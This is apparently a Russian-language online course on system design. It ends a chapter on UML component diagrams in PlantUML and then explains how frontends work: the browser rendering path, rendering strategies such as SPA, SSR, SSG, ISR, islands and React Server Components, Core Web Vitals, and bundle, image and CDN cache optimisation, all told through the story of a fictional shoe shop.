Всё, что разобрано выше, рано или поздно надо изобразить. Для этого есть компонентная диаграмма — структурная диаграмма UML: она показывает компоненты системы и их зависимости. Шесть элементов покрывают почти любую схему; ниже — как они пишутся в PlantUML.

ЭлементЧто означаетPlantUML
КомпонентСтроительный блок: сервис, модуль, приложение[Payment Service] либо component [Web Service]
АкторВнешний участник: человек либо чужая система, которая начинает процессactor "Пользователь" as User
ИнтерфейсТочка взаимодействия: API, пользовательский интерфейс() "Web API" as API
База данныхХранилище со своей иконкой-цилиндромdatabase "Основная БД" as MainDB
ОчередьБрокер сообщений — асинхронный обмен между сервисамиqueue "Заказы" as OrderQueue
PackageГруппировка связанных компонентов в логический блокpackage "Микросервисы" { ... }
actor "Анна" as U
() "API Gateway" as GW
[BFF мобильного] as BFF

package "Микросервисы (в сетке)" {
  [Сервис заказов]
  [Сервис доставки]
  [Сервис платежей]
}
queue "order-events" as OE
database "orders" as ODB

U --> GW
GW --> BFF
BFF --> [Сервис заказов]
BFF --> [Сервис доставки]
BFF --> [Сервис платежей]
[Сервис заказов] --> ODB
[Сервис заказов] --> OE
OE --> [Сервис платежей]
Проще говоря. Прямоугольник — кто делает. Цилиндр — где лежит. Очередь — через что передаётся. Кружок — где точка входа. Человечек — кто начал. Рамка — что считаем одним целым.
Две ошибки, которые сразу видно на схеме. Первая: очередь нарисована стрелкой «сервис → сервис», а брокера нет вовсе. Тогда по схеме не отличить синхронный вызов от асинхронного, а это разные системы. Вторая: у трёх сервисов одна база на схеме, но в тексте написано «база на сервис». Схема честнее текста, верить надо ей.
Где отрабатывать саму нотацию. Здесь показано ровно столько, чтобы изобразить шлюз, сервисы и брокер. Компонентная диаграмма среди прочих нотаций — ERD, BPMN, UML, DFD — разбирается в отдельном тренажёре нотаций.

глава 10 · проверьте себя кто за что отвечает

Разложите обязанности по слоям. Разбор объясняет, почему именно там и что ломается, если положить не туда.

Разложено 0 из 0.

глава 10 · задачи шлюзы и посредники

Решено 0 из 0.

Дальше → что происходит по ту сторону шлюза: как устроен фронтенд — SPA и SSR, состояние, микрофронтенды, производительность

Фронтенд — это та часть системы, которую покупатель держит в руках. Сервер может отвечать за 50 миллисекунд, а Анна в автобусе всё равно смотрит на белый экран шесть секунд — потому что всё остальное время её телефон скачивает, разбирает и выполняет код. Весь раздел — одна история «Ботинка»: у магазина есть сайт, мобильное приложение и админка склада; сайт тормозит на телефонах, а команда фронтенда выросла с пяти человек до четырёх команд. Пройдём путь от адреса до пикселей, выберем способ отрисовки, уложимся в бюджет, разрежем интерфейс между командами, научим его работать без сети, защитим, выпустим — и в конце аналитик Олег напишет требования, которые можно проверить.

зачем это зачем аналитику и архитектору понимать фронтенд

карта раздела одна история, шестнадцать глав

Читайте по порядку: каждая глава опирается на предыдущую. Самые «живые» главы — 2, 4, 6, 7, 11 и 12: там можно переключать режимы, двигать ползунки и ломать. Про шлюзы и BFF со стороны сервера — в разделе , про сеть — в . Здесь мы смотрим на то же самое глазами браузера. Кнопка переносит к главе.

глава 1 · завязка «на телефоне всё тормозит»: что вообще делает фронтенд

Пятница. Аналитик Олег разбирает отзывы покупателей «Ботинка». Три жалобы повторяются чаще других: «карточка товара на телефоне открывается вечность», «нажимаю размер — ничего не происходит», «пока читала описание, кнопка прыгнула вниз, и я нажала на баннер». Разработчик Борис открывает ту же карточку на своём ноутбуке в офисе: 0,8 секунды. «У меня всё летает». Ведущая фронтенд-разработчица Вера молча открывает статистику: у трёх четвертей покупателей — телефон, у половины из них — недорогой.

Кто прав? Оба. Чтобы понять почему, начнём с самых основ.

Фронтенд (frontend) — часть системы, которая работает на устройстве пользователя и рисует интерфейс: страницы сайта, экраны приложения, кнопки, формы. Бэкенд (backend) — часть, которая работает на серверах компании: хранит данные, считает цены, принимает заказы.
ресторан. Кухня — бэкенд: там готовят, и гость её не видит. Зал — фронтенд: меню, столы, официант, счёт. Можно готовить божественно, но если меню несут двадцать минут, а официант не слышит, гость уйдёт.
Браузер — программа, которая по адресу скачивает страницу, понимает три языка — HTML, CSS и JavaScript — и рисует результат. Chrome, Safari, Firefox, Яндекс Браузер, Edge — всё это браузеры. Мобильное приложение — тоже фронтенд, только рисует его не браузер, а сама операционная система телефона.

HTML — что на странице

Разметка: заголовок, картинка, цена, кнопка «В корзину». Это содержание и его структура.

CSS — как выглядит

Оформление: цвета, шрифты, отступы, раскладка на телефоне и на компьютере. Без CSS страница — чёрный текст на белом фоне в один столбик.

JavaScript — что делает

Поведение: что случится при нажатии, как обновится корзина, как подгрузятся отзывы. На JavaScript пишут и целые приложения, которые рисуют страницу сами.

дом. HTML — стены и комнаты. CSS — обои, мебель и шторы. JavaScript — электрика: нажали выключатель — загорелся свет. Без проводки в доме можно жить, но свет не включится.
DOM (Document Object Model, объектная модель документа) — дерево объектов, которое браузер строит из HTML. У каждого элемента страницы — свой узел: «заголовок», «картинка», «кнопка». JavaScript меняет страницу, меняя DOM, а браузер перерисовывает то, что изменилось.
HTML — чертёж квартиры, DOM — макет этой квартиры на столе у прораба. Чертёж прочитали один раз и по нему собрали макет. Дальше JavaScript переставляет мебель прямо в макете, а чертёж уже никто не открывает.

Главная аналогия раздела: сборка шкафа

Страница приходит к Анне как шкаф из мебельного магазина. Есть инструкция (HTML), краска и фурнитура (CSS), моторчик для выдвижных ящиков (JavaScript) и сами детали — фотографии и данные о товаре. Всё решает, что приезжает первым и кто собирает:

Инструкция раньше деталей

Привезли инструкцию, а детали едут отдельной машиной. Можно разложить коробки, но шкаф не собрать. Так работает отрисовка в браузере (CSR): сначала приходит код, потом он сам идёт за данными.

Инструкция вместе с деталями

Всё в одной коробке. Собирать можно сразу. Так работает многостраничный сайт: сервер присылает готовую страницу с текстом и ссылками на картинки.

Шкаф привозят собранным

Его сразу видно и можно поставить вещи. Но моторчик ящиков подключат через полчаса: до этого ящики не выдвигаются. Так работает серверная отрисовка с гидрацией (SSR) — об этой ловушке вся глава 4.

Что сейчас происходит у Анны

Сайт «Ботинка» сделан четыре года назад как одностраничное приложение (SPA): сервер присылает почти пустой HTML и большой JavaScript, а страницу рисует уже телефон. Пройдите по шагам, что видит Анна в автобусе на 4G.

Как читать схему. Подсвечено то, что участвует в текущем шаге. Стрелки между рядами — что летит по сети: ▼ к серверу, ▲ обратно к Анне.

У «Ботинка» три фронтенда — и требования к ним разные

ФронтендКто пользуетсяЧто важноЧто не важно
СайтПокупатели, 75 % — с телефонов, часто на мобильной сетиПервый показ, поисковики и превью ссылок, работа на слабых телефонахСложные таблицы и графики
Мобильное приложениеПостоянные покупатели, iOS и AndroidРабота без сети, уведомления, вход по отпечаткуПоисковики: приложение в них не попадает
Админка склада40 сотрудников на ноутбуках в офисеБольшие таблицы, быстрые действия, клавиатураПоисковики, первый показ за доли секунды, слабые устройства
Проще говоря. Бэкенд отвечает за то, что правда: цена, остаток, статус заказа. Фронтенд отвечает за то, как быстро и понятно человек эту правду увидит и сможет на неё нажать. Одного правильного способа сделать фронтенд нет — для сайта, приложения и админки ответы разные. Эта глава — первая причина, почему у аналитика должны быть разные НФТ для разных фронтендов.
  • «Карточка товара: самый крупный элемент первого экрана отрисован не позже чем за 2,5 с для 75 % визитов с мобильных устройств — по данным реальных пользователей» (это метрика LCP, глава 5).
  • «Админка склада: поддерживаются последние две версии Chrome и Яндекс Браузера на ноутбуках; требований к поисковой оптимизации нет».

глава 2 · путь отрисовки от адреса до пикселей: что делает браузер и что ему мешает

Анна нажала на ссылку. Как найти сервер и установить соединение, разобрано в разделе . Здесь начинаем с момента, когда первые байты HTML уже летят к телефону. Дальше браузер проходит одну и ту же цепочку шагов. Её называют критическим путём.

Критический путь отрисовки (critical rendering path) — последовательность шагов, через которые браузер проходит от байтов HTML, CSS и JavaScript до пикселей на экране: построить DOM, построить CSSOM, сложить из них дерево отрисовки, рассчитать раскладку, нарисовать и склеить слои.
сборка шкафа по инструкции. Инструкцию (HTML) можно читать по мере того, как приходят страницы. Но красить (CSS) нельзя, пока не привезли краску: иначе всё придётся перекрашивать. А пункт «стоп, позвоните мастеру и ждите его» посреди инструкции (скрипт без defer) останавливает всю сборку, даже если мастер нужен только для одного ящика.

DOM

Дерево элементов из HTML. Браузер строит его потоково: разбирает HTML кусками, по мере прихода байтов, не дожидаясь конца файла.

CSSOM

CSS object model — дерево правил оформления. Строится только из целого файла стилей: последнее правило может переопределить первое.

Дерево отрисовки

Render tree — DOM плюс CSSOM, но только видимые элементы. Скрытое через display:none в него не попадает.

Раскладка

Layout (в Firefox — reflow): точные размеры и координаты каждого элемента под ширину экрана.

Отрисовка

Paint: пиксели — текст, цвета, рамки, картинки. Рисуется по слоям.

Склейка слоёв

Composite: слои складываются в итоговый кадр, обычно силами видеокарты. Анимации через transform трогают только этот шаг — поэтому они плавные.

Кто блокирует экран

CSS блокирует отрисовку

Пока не скачан и не разобран каждый файл стилей из <head>, браузер не рисует ничего. Иначе Анна на миг увидела бы страницу без оформления, а потом она бы «перепрыгнула». Поэтому стили — render-blocking: блокирующие отрисовку.

Обычный скрипт блокирует разбор

<script src> без атрибутов останавливает разбор HTML: браузер обязан скачать и выполнить скрипт сразу, ведь тот может поменять страницу. Скрипт ещё и ждёт стили — вдруг он спросит размеры элементов. Это parser-blocking: блокирующий разбор.

defer

Скачать параллельно, выполнить после разбора всего HTML, по порядку. Выбор по умолчанию для своих скриптов. Скрипты-модули (type="module") ведут себя так же.

async

Скачать параллельно, выполнить, как только скачался, в любом порядке. Для независимых скриптов: аналитика, пиксели рекламы.

Предзагрузчик

Preload scanner: пока основной разбор стоит, отдельный «разведчик» заглядывает вперёд по HTML и заранее запрашивает картинки, стили и скрипты. Поэтому то, что написано в HTML, находится быстро, а то, что создаёт JavaScript, — поздно.

Проигрыватель: карточка товара на телефоне Анны

Выберите сценарий и идите по шагам. Слева — экран Анны, в центре — какой шаг пути сейчас работает (красное — заблокировано), справа — какая строчка HTML разбирается. Время — от нажатия на ссылку, телефон Анны на 4G.

телефон Анны
0 мс
Что вы увидите. В первом сценарии экран белый больше секунды, хотя HTML пришёл через 0,3 с: его держат большой файл стилей и чужой скрипт без defer. Потом текст невидим — ждём шрифт. Потом фото без размеров сдвигает кнопку. Во втором — те же байты, но в другом порядке: страница видна через 0,45 с, ничего не прыгает.
Проще говоря. Быстрая страница — не та, где мало байтов, а та, где ничего лишнего не стоит на пути к первому кадру: критичные стили — сразу в HTML, скрипты — с defer, главная картинка — с высоким приоритетом и размерами, шрифт — с запасным вариантом.

глава 3 · способы отрисовки кто и когда собирает страницу: девять способов

Главный архитектурный вопрос фронтенда звучит так: где и когда HTML превращается из данных в разметку? На сервере при каждом запросе, на сервере заранее, в браузере — или понемногу везде. От ответа зависят первый показ, поисковики, нагрузка на сервер и сложность. Разберём девять способов от старого к новому. Почти все они живут в современных фреймворках: Next.js, Nuxt, SvelteKit, Astro, Angular и других.

Отрисовка (rendering) во фронтенде — превращение данных и шаблонов в HTML (или сразу в DOM). Не путать с отрисовкой пикселей из главы 2: там браузер рисует готовый HTML, а здесь кто-то этот HTML создаёт.
Гидрация (hydration) — оживление готового HTML в браузере. Сервер прислал страницу, её уже видно. Затем браузер скачивает тот же код компонентов, заново «проходит» по ним, сверяет с HTML и подключает обработчики нажатий. До конца гидрации кнопки нарисованы, но не работают.
в магазин привезли собранный шкаф — его сразу видно. Но моторчики ящиков подключит электрик, который едет следом. Пока он не приехал и не проверил каждый ящик, ящики не выдвигаются, сколько ни тяни.

1. MPA multi-page application

Многостраничный сайт: каждый переход — новый запрос, сервер собирает HTML по шаблону (PHP, Java, Python, .NET), браузер рисует. JavaScript — немного, для мелочей.

ресторан с комплексными обедами: каждое блюдо приносят готовым на новой тарелке.

Плюсы: полный HTML сразу, отлично для поисковиков, мало кода в телефоне, формы работают даже без JavaScript. Минусы: каждый переход — перезагрузка страницы, богатые интерактивные экраны собирать трудно. Когда: контентные сайты, каталоги, госуслуги, магазины с простым интерфейсом.

2. SPA и CSR client-side rendering

Одностраничное приложение: сервер отдаёт почти пустой HTML и большой JavaScript. Страницу рисует браузер, данные идут по API. Переходы — без перезагрузки: код меняет DOM и адрес в строке.

шкаф с инструкцией, но детали едут отдельной машиной: сначала код, потом он сам идёт за данными.

Плюсы: быстрые переходы после загрузки, богатый интерфейс, сервер отдаёт только данные и статику. Минусы: пустой HTML для поисковиков и превью ссылок, долгий первый показ на слабом телефоне, весь код — в телефоне. Когда: за логином: личный кабинет, админки, редакторы, внутренние системы.

3. SSR + гидрация server-side rendering

Те же компоненты, что в SPA, но первый HTML собирает сервер — на каждый запрос, с данными. Браузер показывает его сразу, потом скачивает JavaScript и гидрирует. Дальше работает как SPA.

шкаф привозят собранным, электрик для ящиков едет следом.

Плюсы: быстрый первый показ, полный HTML для поисковиков, свежие данные. Минусы: нужен сервер с Node.js и нагрузка на каждый запрос, двойная работа (отрисовка на сервере и гидрация в браузере), «мёртвая зона» до конца гидрации, сервер ждёт самые медленные данные. Когда: публичные страницы с личным или часто меняющимся содержимым и важным SEO.

4. SSG static site generation

Страницы собираются заранее, при сборке проекта, и лежат готовыми HTML-файлами на CDN. Сервер на каждый запрос не нужен.

шкафы собраны на складе заранее и стоят в зале — бери и неси.

Плюсы: самый быстрый ответ, почти бесплатная раздача, нечему падать. Минусы: данные — на момент сборки; 50 000 карточек собираются долго; цену и остаток всё равно догружает браузер. Когда: документация, справка, блог, лендинги акций.

5. ISR и stale-while-revalidate incremental static regeneration

Как SSG, но готовая страница обновляется сама: у неё есть срок свежести. Первый запрос после истечения срока получает старую страницу, а в фоне собирается новая. ISR — термин Next.js; то же даёт заголовок HTTP Cache-Control: s-maxage=60, stale-while-revalidate=600 на CDN (RFC 5861).

витрина булочной: выставили утренний хлеб; когда партия «устарела», продавец продаёт пока что есть, а пекарь в это время печёт новую.

Плюсы: скорость SSG и почти свежие данные, не надо пересобирать весь сайт. Можно обновить страницу по событию — например, когда товаровед поменял цену. Минусы: кто-то увидит устаревшее, логика кеша сложнее. Когда: карточки товаров, каталог, новости.

6. Стриминг SSR streaming

Сервер не ждёт всех данных. Сразу отправляет «скелет» страницы с шапкой, а медленные блоки дописывает в тот же ответ, когда они готовы. В React это делается через <Suspense>: вместо медленного блока сначала приходит заглушка.

официант сразу приносит хлеб и салат, а горячее — когда оно готово, не держа весь стол голодным.

Плюсы: первый байт и первый показ не ждут медленные рекомендации; гидрация идёт по блокам. Минусы: код ответа и заголовки уходят в самом начале — потом не сделать 404 или редирект; посредник с буферизацией может «склеить» поток; сложнее отладка. Когда: SSR-страницы, где есть быстрые и медленные блоки.

7. Островная архитектура islands, Astro

Страница — статический HTML, а интерактивны только отдельные «острова»: галерея, кнопка корзины, калькулятор размера. Каждый остров гидрируется сам и только когда нужно: в Astro — client:load, client:idle, client:visible. С Astro 5 есть и серверные острова (server:defer): страница из кеша, а личный блок дорисует сервер.

в музее все экспонаты за стеклом, и только у пары стендов есть кнопки «нажми меня». Электричество нужно только им.

Плюсы: очень мало JavaScript, отличный первый показ. Минусы: острова плохо делят общее состояние, для приложения с множеством связанных экранов неудобно. Когда: контентные сайты, блоги, маркетинговые страницы.

8. React Server Components RSC

Компоненты делятся на серверные и клиентские. Серверные выполняются только на сервере: могут читать базу и API, а их код не попадает в браузер. Клиентские помечаются директивой "use client" — только они гидрируются. Стабильны в React 19 (декабрь 2024), основная реализация — App Router в Next.js. В Next.js 16 (октябрь 2025) к ним добавили явное кеширование директивой "use cache".

шкаф собран на складе, а электрик приезжает только к двум выдвижным ящикам, а не проверяет каждую полку.

Плюсы: меньше JavaScript в телефоне, данные берутся рядом с базой, стриминг из коробки. Минусы: новая модель мышления (что где выполняется), привязка к фреймворку, нужен Node.js-сервер, сложнее кеширование и отладка. Когда: новые проекты на React с публичными страницами и богатыми данными.

9. Edge-рендеринг на краю сети

SSR выполняется не в одном дата-центре, а на узлах CDN рядом с пользователем (Cloudflare Workers и аналоги у других облаков и хостингов). Окружение урезанное: стандартные веб-API вместо полного Node.js, лимиты на время и память.

пункт выдачи у дома, где заказ доукомплектуют перед выдачей: быстро, если всё нужное лежит там же.

Плюсы: короткий круг до пользователя: проверка входа, редиректы, A/B-тесты и персонализация по городу. Минусы: база данных обычно в одном регионе — каждый запрос с края к базе в Москве идёт через всю страну, и несколько таких запросов подряд выходят медленнее, чем отрисовка рядом с базой. Когда: лёгкая логика без тяжёлых данных; рисовать лучше там, где лежат данные.

Проще говоря о гидрации. Гидрация — это цена, которую платят за «HTML сразу + приложение потом». Сервер уже нарисовал страницу, но браузер всё равно должен скачать код всех компонентов и пройти по ним, чтобы подключить обработчики. Острова и Server Components уменьшают эту цену: гидрируется не вся страница, а только интерактивные куски. Есть и подход совсем без гидрации — возобновляемость (resumability) во фреймворке Qwik: обработчики подгружаются в момент первого нажатия.

Девять способов одной таблицей

Нажмите на строку, чтобы раскрыть подробности.

Тренажёр: какой способ для какой страницы

Один сайт почти никогда не живёт на одном способе. Современные фреймворки позволяют выбирать способ для каждой страницы. Разложите страницы «Ботинка».

Решено 0 из 0.

глава 4 · главный пульт гонка отрисовки: одна карточка товара, семь способов

Хватит теории. Вот одна и та же карточка кроссовок «Бег-42», собранная семью способами. Нажмите «▶ Старт гонки» — и все семь поедут одновременно, как в DevTools, только наглядно. Цвет полосы — что видит Анна. Штриховка — страница видна, но кнопки не работают. Зелёная черта снизу — кнопки ожили.

Меняйте устройство и сеть, включайте и выключайте CDN. Нажмите на строку, чтобы разобрать режим: ниже появятся дорожки «как в DevTools», экран Анны в выбранный момент, итоговые числа и объяснение, почему так вышло.

Устройство и сеть
CDN: статика и готовые страницы рядом с Анной
🎯 Задание. «Медленный телефон, слабый 4G». Найдите способ, при котором LCP ≤ 2,5 с, INP ≤ 200 мс и поисковики видят полный HTML. Таких способов больше одного — подумайте, почему.
0 мс
белый экран шапка или скелет текст и цена, фото грузится всё видно (LCP) видно, но не нажимается кнопки работают

Разбор режима

экран Анны
—
соединениеждём ответ скачиваниевыполнение скриптов гидрация / запускотрисовка в браузере ✋ нажатие пропало · 👆 нажатие сработало
Что заложено в модель. Сервер — в Москве, Анна — в Новосибирске. «Медленный телефон, слабый 4G» — это профиль, которым Lighthouse по умолчанию проверяет мобильные страницы: круг туда-обратно 150 мс, 1,6 Мбит/с, процессор в 4 раза медленнее ноутбука. «Хороший 4G»: 60 мс, ≈9 Мбит/с, процессор вдвое медленнее. Ноутбук: 15 мс, ≈50 Мбит/с. CDN-узел — в городе Анны, от него до Москвы ещё 50 мс. Данные о товаре сервер собирает за 150 мс, рекомендации — за 400 мс. Сжатый JavaScript приложения — 450 КБ, у Server Components в браузер едет только 180 КБ клиентских компонентов, у MPA — 30 КБ. Анна нажимает «Размер 42» через полсекунды после того, как увидела товар; если ничего не произошло — ещё раз через секунду. Выполнение большого скрипта — одна долгая задача; в стриминге и RSC гидрация идёт по блокам, и React первым оживляет тот блок, куда нажали. Цифры условные, соотношения — настоящие.
Что попробовать.
1. Медленный телефон: сравните SSR и SSG. Фото появляется рано у обоих, а штриховка («видно, но не нажимается») тянется секундами — это и есть ловушка гидрации из жалобы «нажимаю размер — ничего».
2. Тот же профиль: CSR. Белого и серого почти до шестой секунды: телефон сначала качает и выполняет код, и только потом идёт за данными.
3. Переключите на ноутбук. Все режимы финишируют за секунду — вот почему у Бориса «всё летает».
4. Выключите CDN. Сильнее всех пострадают те, кто отдавал готовое: SSG и ISR.
5. Сравните «Стриминг» и «Server Components»: стриминг ускоряет показ, но не уменьшает код. RSC уменьшает код — и вместе с ним мёртвую зону.
  • «Карточка товара, каталог и поиск отдаются с сервера полным HTML (SSR, SSG или ISR): заголовок, цена, описание и ссылки видны роботам без выполнения JavaScript».
  • «На эталонном профиле “медленный телефон” (Lighthouse, мобильный режим) LCP ≤ 2,5 с, Total Blocking Time ≤ 200 мс; на реальных пользователях — LCP ≤ 2,5 с и INP ≤ 200 мс для 75 % визитов».

глава 5 · Core Web Vitals три числа, которыми меряют «быстро» глазами человека

«Страница грузится быстро» — не требование: непонятно, что мерить и у кого. Google предложил три метрики, которые описывают ощущения человека, а не работу сервера. Их называют Core Web Vitals — «основные показатели качества страницы». Их видно в Chrome DevTools, в Lighthouse и в Search Console, а Google учитывает их в ранжировании поиска как один из сигналов удобства страницы.

LCP (Largest Contentful Paint, отрисовка самого крупного элемента) — сколько прошло от начала загрузки до момента, когда нарисован самый крупный видимый элемент первого экрана: главное фото, крупный заголовок, блок текста. Хорошо — до 2,5 с, плохо — больше 4 с.
в кино сеанс начался не тогда, когда погас свет и пошёл логотип студии, а когда на экране появилась первая сцена фильма. LCP — это «первая сцена».
INP (Interaction to Next Paint, от взаимодействия до следующего кадра) — сколько проходит от нажатия, клика или клавиши до кадра, на котором видно, что нажатие сработало. За визит берётся почти самое медленное взаимодействие (на страницах с очень большим числом взаимодействий отбрасывается одно худшее на каждые 50). Хорошо — до 200 мс, плохо — больше 500 мс. 12 марта 2024 года INP заменил прежнюю метрику FID, которая мерила только задержку первого нажатия и только до начала его обработки.
нажали кнопку вызова лифта. Неважно, когда приедет лифт, — важно, когда загорится кнопка. Не загорелась за полсекунды — вы жмёте ещё раз и раздражаетесь.
CLS (Cumulative Layout Shift, накопленный сдвиг вёрстки) — насколько сильно элементы страницы прыгают сами по себе, без действий человека. Каждый сдвиг оценивается как «доля экрана, которую задело» × «расстояние сдвига в долях экрана»; берётся самое плохое «окно» сдвигов. Число без единиц. Хорошо — до 0,1, плохо — больше 0,25.
читаете меню, а официант подсовывает сверху новый лист. Строчки уезжают вниз, и вы тычете пальцем не в то блюдо.

75-й перцентиль

Оценивают не среднее, а значение, в которое укладываются 75 % визитов, отдельно для телефонов и компьютеров. Страница «проходит», когда все три метрики хороши у трёх четвертей посещений.

Полевые и лабораторные

Полевые данные — с реальных людей (RUM, публичный отчёт Chrome UX Report). Лабораторные — прогон в Lighthouse на эмулированном телефоне. Лаборатория ловит регрессии до выпуска, но правду говорит только поле. INP в лаборатории не измерить — там смотрят на Total Blocking Time.

Вспомогательные метрики

TTFB — время до первого байта ответа (хорошо — до 0,8 с). FCP — первая отрисовка хоть чего-то (хорошо — до 1,8 с). Они не входят в тройку, но объясняют, почему плох LCP.

Долгая задача (long task) — работа главного потока браузера дольше 50 мс без перерыва: выполнение большого скрипта, пересчёт стилей, отрисовка списка из тысячи товаров. Пока она идёт, браузер не может обработать нажатие — оно ждёт в очереди. Главный враг INP.
у кассира в супермаркете один покупатель с тележкой на 200 товаров. Вы пришли с одной бутылкой воды, но стоите, пока он не закончит. Хорошо бы кассир время от времени пропускал «людей с одной покупкой».

INP складывается из трёх частей: задержка ввода (нажатие ждёт, пока главный поток освободится) + обработка (выполняется код обработчика) + задержка показа (браузер пересчитывает раскладку и рисует кадр). Чаще всего проигрывают на первой части.

Попробуйте: сдвиг вёрстки (CLS)

Анна открывает карточку и тянется пальцем к кнопке «Купить». Через 0,6 с прилетает рекламный баннер и встаёт над кнопкой. Нажмите «▶ Открыть страницу». Потом зарезервируйте место под баннер и повторите.

экран Анны · 640 px
Задетая доля экрана: — Расстояние сдвига: — CLS: —

Попробуйте: долгая задача и INP

На странице каталога после выбора фильтра скрипт пересчитывает и перерисовывает список: 600 мс работы главного потока на телефоне Анны. Пока он работает, Анна нажимает «В корзину» у товара. Нажмите кнопку в любой момент «прогона» — и посмотрите, сколько нажатие ждёт. Потом разбейте задачу на части.

0 мс200400600800 мс
Задержка ввода: — Обработка + кадр: — INP этого нажатия: —
Как уступить поток. Долгую работу режут на куски и между ними возвращают управление браузеру: await scheduler.yield() (есть в Chromium-браузерах и Firefox, в Safari пока нет; запасной вариант — await new Promise(r => setTimeout(r, 0))). Тяжёлые вычисления уносят в фоновый поток (Web Worker). В React то же дают переходы: startTransition помечает перерисовку как несрочную, и нажатие её прерывает.

Что улучшает каждую метрику

МетрикаЧастые причиныЧто делать
LCPДолгий ответ сервера; блокирующие стили и скрипты; главное фото находит только JavaScript; фото огромное или помечено «лениво»CDN и кеш (раздел ); SSR/SSG; критичный CSS в HTML; у главного фото fetchpriority="high" и никакого loading="lazy"; AVIF/WebP нужного размера
INPДолгие задачи: гидрация, большие списки, тяжёлые обработчики, сторонние скриптыМеньше JavaScript (главы 3 и 6); резать задачи и уступать поток; виртуализация длинных списков; сторонние скрипты — с async и позже
CLSКартинки и встраивания без размеров; баннеры, вставляемые сверху; подмена шрифтаwidth/height или aspect-ratio; резервировать место; не вставлять содержимое над тем, что уже видно; анимации — через transform; запасной шрифт подобрать по размеру
Ловушка «зелёного Lighthouse». Борис гоняет Lighthouse на своём ноутбуке и получает 98 баллов. Это лабораторная оценка одной загрузки. У реальных людей другие телефоны, сети, расширения браузера и сторонние скрипты. Решения принимают по полевым данным на 75-м перцентиле, а лабораторию используют как «сторожа» в конвейере сборки.
  • «Для страниц каталога, карточки и корзины на мобильных устройствах по данным RUM за 28 дней: LCP ≤ 2,5 с, INP ≤ 200 мс, CLS ≤ 0,1 на 75-м перцентиле. Нарушение двух недель подряд — дефект с приоритетом “высокий”».
  • «Рекламные и баннерные места имеют фиксированный размер в макете; вставка содержимого над первым экраном после загрузки запрещена».

глава 6 · вес и доставка бандл, разделение кода, картинки, CDN и кеш

Вера открывает отчёт сборки: на первую страницу сайта уходит 700 КБ сжатого JavaScript. Там есть библиотека дат со всеми языками мира, графики, которые нужны только во вкладке «Отзывы», редактор отзывов, которым пользуется один покупатель из ста, и виджет чата. Всё это скачивается и выполняется у каждого, кто просто смотрит кроссовки.

Бандл (bundle) — файл или набор файлов, в которые сборщик (Vite, webpack, Rspack, Turbopack) склеивает код приложения и библиотек. Размер считают дважды: сжатый — сколько едет по сети, и несжатый — сколько браузер разбирает и выполняет.
чемодан в отпуск. Есть вес на весах в аэропорту — это сжатый размер, за него платит сеть. И есть вещи, которые потом надо разложить по полкам в номере, — это несжатый размер, за него платит процессор телефона.
Почему 100 КБ JavaScript «тяжелее» 100 КБ фотографии. Фото надо только раскодировать, часто в отдельном потоке. JavaScript надо разобрать, скомпилировать и выполнить — на главном потоке, том самом, что обрабатывает нажатия. На слабом телефоне 1 МБ несжатого кода — это секунда и больше чистой работы процессора.

Разделение кода (code splitting)

Сборщик режет бандл на куски (chunks). Каждой странице — только её код: каталог не качает код личного кабинета. Делается через динамический import() — обычно по маршрутам.

Ленивая загрузка (lazy loading)

Тяжёлый блок грузится, только когда он нужен: графики — при открытии вкладки «Отзывы», редактор — по кнопке «Написать отзыв», чат — по нажатию на значок. Для картинок ниже первого экрана — loading="lazy".

Удаление мёртвого кода (tree shaking)

Сборщик выбрасывает функции библиотек, которые никто не импортирует. Работает с ES-модулями: import { debounce } from 'lodash-es' — да, «весь lodash одним объектом» — нет.

Сжатие

Сервер или CDN сжимает текстовые файлы: gzip — везде, Brotli — обычно на 15–20 % меньше gzip для JavaScript и CSS, в Chromium и Firefox есть ещё zstd. Сжатие уменьшает дорогу по сети, но не работу процессора: разбирать всё равно несжатое.

Калькулятор бюджета: соберите первую страницу «Ботинка»

Команда Веры договорилась о бюджете производительности: не больше 170 КБ сжатого JavaScript на первую страницу. Включайте и выключайте библиотеки и приёмы и смотрите, сколько поедет по сети и сколько будет работать процессор.

Бюджет производительности (performance budget) — заранее согласованный предел: вес JavaScript на страницу, LCP, число запросов. Проверяется автоматически в конвейере сборки (например, size-limit или Lighthouse CI): превысили — сборка красная, как при упавшем тесте.
семейный бюджет на месяц. Пока он не записан, каждая отдельная покупка кажется маленькой. Когда записан, каждая новая библиотека «за 40 КБ» становится вопросом «а что мы ради неё уберём?».
700
Библиотеки на странице (нажмите, чтобы убрать или вернуть)
Приёмы сборки
Сжатие на CDN
Устройство и сеть
JS первой страницы (несжатый): — По сети (сжатый): — Скачивание: — Разбор и выполнение: — Итого на JavaScript: —
Что заложено в модель. Размеры библиотек условные, но порядок настоящий. Фреймворк (React и ReactDOM, 190 КБ) нужен всегда. Удаление мёртвого кода срезает 15 % своего кода, оставляет от lodash нужные функции, а от библиотеки дат — только русский и английский. Разделение по страницам оставляет на первой странице 35 % своего кода. Ленивая загрузка уносит графики, редактор и чат в отдельные куски. Сжатие: gzip — до 32 % от исходного, Brotli — до 27 %. Профили сети — те же, что на пульте главы 4.

Картинки, шрифты и подсказки браузеру

Картинки

Современные форматы AVIF и WebP заметно легче JPEG при том же качестве (AVIF — нередко вдвое). srcset и sizes — телефону маленькую версию, ноутбуку большую. Всегда width и height — против сдвигов. У главного фото — fetchpriority="high", у остальных ниже первого экрана — loading="lazy". Нарезку обычно делает CDN «на лету».

Шрифты

Формат WOFF2, только нужные символы (кириллица и латиница, а не все языки мира), font-display: swap — показать текст системным шрифтом, пока качается фирменный. Иначе браузер может прятать текст до трёх секунд.

Подсказки: preload и preconnect

<link rel="preconnect"> — заранее открыть соединение с CDN картинок. <link rel="preload"> — скачать важный файл, который браузер иначе нашёл бы поздно (фото, которое ставит JavaScript, шрифт). modulepreload — то же для модулей. Ответ сервера 103 Early Hints позволяет начать эти загрузки, пока сервер ещё собирает HTML.

Предзагрузка следующей страницы

<link rel="prefetch"> скачивает то, что понадобится на следующей странице, в свободное время. В Chromium-браузерах есть Speculation Rules API: страницу можно даже заранее отрисовать в фоне, и переход станет мгновенным. Фреймворки сами предзагружают ссылки, попавшие в экран.

CDN и кеш браузера: хеш в имени файла

Статика — скрипты, стили, картинки — раздаётся с CDN (подробно — в разделе , глава о посредниках). Главный трюк: сборщик добавляет в имя файла отпечаток содержимого (хеш). Поменялся код — поменялось имя. Значит, файл с конкретным именем никогда не меняется, и его можно кешировать навсегда.

# файлы со всеми версиями в имени: кешировать на год, не перепроверять
GET /assets/product-3f9a1c.js
Cache-Control: public, max-age=31536000, immutable

# HTML ссылается на актуальные имена: всегда сверяться с сервером
GET /product/42
